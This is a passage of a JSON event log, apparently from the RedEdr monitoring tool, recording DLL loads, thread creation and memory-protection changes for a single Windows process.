9730\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\SHCore.dll\"},{\"type\":\"etw\",\"time\":\"133737987377027794\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F91E0\",\"ImageSize\":\"0x00000121360F94B0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"681663\",\"TimeDateStamp\":\"2616593924\",\"DefaultBase\":\"0x00000121360F9730\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcrt.dll\"},{\"type\":\"etw\",\"time\":\"133737987377034050\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9460\",\"ImageSize\":\"0x00000121360F9460\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"2715251\",\"TimeDateStamp\":\"4145438527\",\"DefaultBase\":\"0x00000121360F9230\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\WinSxS\\\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.4355_none_60b8b9eb71f62e16\\\\comctl32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377039649\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F97D0\",\"ImageSize\":\"0x00000121360F9960\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"244437\",\"TimeDateStamp\":\"3510600902\",\"DefaultBase\":\"0x00000121360F9640\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\imm32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377062210\",\"pid\":\"1704\",\"thread_id\":\"14644\",\"event\":\"StartThread\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ProcessID\":\"1704\",\"ThreadID\":\"11544\",\"StackBase\":\"0x00000121360F9000\",\"StackLimit\":\"0x00000121360F9050\",\"UserStackBase\":\"0x00000121360F9960\",\"UserStackLimit\":\"0x00000121360F9640\",\"StartAddr\":\"0x00000121360F99B0\",\"Win32StartAddr\":\"0x00000121360F9320\",\"TebBase\":\"0x00000121360F9000\",\"SubProcessTag\":\"0\"},{\"type\":\"etw\",\"time\":\"133737987377071932\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F8FB0\",\"ImageSize\":\"0x00000121360F8FB0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"0\",\"TimeDateStamp\":\"1729280710\",\"DefaultBase\":\"0x00000121360F9910\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\RedEdr\\\\RedEdrDll.dll\"},{\"type\":\"etw\",\"time\":\"133737987377073506\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9410\",\"ImageSize\":\"0x00000121360F97D0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"718102\",\"TimeDateStamp\":\"55205188\",\"DefaultBase\":\"0x00000121360F9640\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\advapi32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377074013\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F96E0\",\"ImageSize\":\"0x00000121360F93C0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"691703\",\"TimeDateStamp\":\"944590729\",\"DefaultBase\":\"0x00000121360F9280\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\sechost.dll\"},{\"type\":\"dll\",\"time\":\"133737987380253321\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07EA70\",\"size\":\"2328\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC05082\",\"page_addr\":\"00007FFBDEC05000\",\"size\":\"1081344\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC079D2\",\"page_addr\":\"00007FFBDEC07000\",\"size\":\"1073152\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04C14\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC04479\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987380565796\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"00000225249F6B68\",\"size\":\"2328\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987380565796\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"0000022521EF2D18\",\"size\":\"1344\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987380878298\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000002252448EE88\",\"size\":\"640\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC44518\",\"page_addr\":\"00007FFBDEC44000\",\"size\":\"823296\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEC2288A\",\"page_addr\":\"00007FFBDEC22000\",\"size\":\"962560\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC50128\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC500D3\",\"page_addr\":\"00007FFBDEC50000\",\"size\":\"774144\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987380878298\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"160\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFEE4\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987381190819\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFB5\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"dll\",\"time\":\"133737987381190819\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEBFFFED\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"etw\",\"time\":\"133737987377074497\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9460\",\"ImageSize\":\"0x00000121360F97D0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"199345\",\"TimeDateStamp\":\"2535700803\",\"DefaultBase\":\"0x00000121360F9320\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcrypt.dll\"},{\"type\":\"etw\",\"time\":\"133737987377077024\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9960\",\"ImageSize\":\"0x00000121360F9820\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"929031\",\"TimeDateStamp\":\"4270244042\",\"DefaultBase\":\"0x00000121360F97D0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msvcp140d.dll\"},{\"type\":\"etw\",\"time\":\"133737987377077521\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F92D0\",\"ImageSize\":\"0x00000121360F9280\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1221752\",\"TimeDateStamp\":\"610785574\",\"DefaultBase\":\"0x00000121360F9000\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ole32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377078589\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F96E0\",\"ImageSize\":\"0x00000121360F90A0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1883635\",\"TimeDateStamp\":\"2592498981\",\"DefaultBase\":\"0x00000121360F9640\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\dbghelp.dll\"},{\"type\":\"etw\",\"time\":\"133737987377079545\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9000\",\"ImageSize\":\"0x00000121360F9820\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"215677\",\"TimeDateStamp\":\"3390545094\",\"DefaultBase\":\"0x00000121360F9140\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140d.dll\"},{\"type\":\"etw\",\"time\":\"133737987377080294\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F9550\",\"ImageSize\":\"0x00000121360F9640\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"124685\",\"TimeDateStamp\":\"743278547\",\"DefaultBase\":\"0x00000121360F9000\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\vcruntime140_1d.dll\"},{\"type\":\"etw\",\"time\":\"133737987377082101\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121360F90A0\",\"ImageSize\":\"0x00000121360F9870\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"2249853\",\"TimeDateStamp\":\"3642813796\",\"DefaultBase\":\"0x00000121360F9910\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\ucrtbased.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\uxtheme.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\clbcatq.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\MrmCoreR.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\shell32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\windows.storage.dll\"},{\"type\":\"kernel\",\"time\":\"133737987377284560\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\wldp.dll\"},{\"type\":\"kernel\",\"time\":\"133737987379159559\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\oleaut32.dll\"},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\shlwapi.dll\"},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\msctf.dll\"},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\TextShaping.dll\"},{\"type\":\"dll\",\"time\":\"133737987382753320\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"8\",\"protect\":\"0x4\",\"protect_str\":\"RW-\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC00068\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"5\",\"addr\":\"00007FFBDEC51243\",\"page_addr\":\"00007FFBDEC51000\",\"size\":\"770048\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"}]},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\efswrt.dll\"},{\"type\":\"etw\",\"time\":\"133737987377296999\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136132700\",\"ImageSize\":\"0x00000121361329D0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"531569\",\"TimeDateStamp\":\"3309379821\",\"DefaultBase\":\"0x0000012136132C00\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\bcryptprimitives.dll\"},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\mpr.dll\"},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\WinTypes.dll\"},{\"type\":\"kernel\",\"time\":\"133737987380878298\",\"callback\":\"thread\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"threadid\":\"4756\",\"create\":\"1\"},{\"type\":\"kernel\",\"time\":\"133737987384472049\",\"callback\":\"image\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"image\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\twinapi.appcore.dll\"},{\"type\":\"kernel\",\"time\":\"133737987384472049\",\"callback\":\"thread\",\"krn_pid\":\"1704\",\"pid\":\"1704\",\"threadid\":\"3796\",\"create\":\"1\"},{\"type\":\"etw\",\"time\":\"133737987377302422\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136132C00\",\"ImageSize\":\"0x0000012136132430\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"122143\",\"TimeDateStamp\":\"1990571354\",\"DefaultBase\":\"0x0000012136132610\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\kernel.appcore.dll\"},{\"type\":\"etw\",\"time\":\"133737987377312133\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136132F20\",\"ImageSize\":\"0x00000121361330B0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"652983\",\"TimeDateStamp\":\"2037838987\",\"DefaultBase\":\"0x0000012136132840\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\uxtheme.dll\"},{\"type\":\"etw\",\"time\":\"133737987377319817\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121361329D0\",\"ImageSize\":\"0x0000012136132CA0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"736478\",\"TimeDateStamp\":\"97696835\",\"DefaultBase\":\"0x0000012136132CF0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\clbcatq.dll\"},{\"type\":\"etw\",\"time\":\"133737987377323262\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x00000121361327A0\",\"ImageSize\":\"0x0000012136132430\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"1076757\",\"TimeDateStamp\":\"2235875132\",\"DefaultBase\":\"0x00000121361322F0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\MrmCoreR.dll\"},{\"type\":\"etw\",\"time\":\"133737987377336205\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136133060\",\"ImageSize\":\"0x00000121361328E0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"7871264\",\"TimeDateStamp\":\"3058955310\",\"DefaultBase\":\"0x00000121361327A0\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\shell32.dll\"},{\"type\":\"etw\",\"time\":\"133737987377341394\",\"pid\":\"1704\",\"thread_id\":\"2524\",\"event\":\"LoadImage\",\"provider_name\":\"Microsoft-Windows-Kernel-Process\",\"ImageBase\":\"0x0000012136132B60\",\"ImageSize\":\"0x0000012136132AC0\",\"ProcessID\":\"1704\",\"ImageCheckSum\":\"8084351\",\"TimeDateStamp\":\"392648082\",\"DefaultBase\":\"0x0000012136132C50\",\"ImageName\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\windows.storage.dll\"},{\"type\":\"dll\",\"time\":\"133737987382753320\",\"pid\":\"1704\",\"tid\":\"14644\",\"func\":\"ProtectVirtualMemory\",\"pid\":\"FFFFFFFFFFFFFFFF\",\"base_addr\":\"000000AA3F07F0B8\",\"size\":\"4096\",\"protect\":\"0x2\",\"protect_str\":\"R--\",\"callstack\":[{\"idx\":\"0\",\"addr\":\"00007FFBC9F0BB8A\",\"page_addr\":\"00007FFBC9F0B000\",\"size\":\"135168\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"1\",\"addr\":\"00007FFBC9F0C7F4\",\"page_addr\":\"00007FFBC9F0C000\",\"size\":\"131072\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"2\",\"addr\":\"00007FFBDEC0009C\",\"page_addr\":\"00007FFBDEC00000\",\"size\":\"1101824\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"3\",\"addr\":\"00007FFBDEBFFAD8\",\"page_addr\":\"00007FFBDEBFF000\",\"size\":\"1105920\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"type\":\"0x1000000\"},{\"idx\":\"4\",\"addr\":\"00007FFBDEC04BCF\",\"page_addr\":\"00007FFBDEC04000\",\"size\":\"1085440\",\"state\":\"0x1000\",\"protect\":\"0x20\",\"t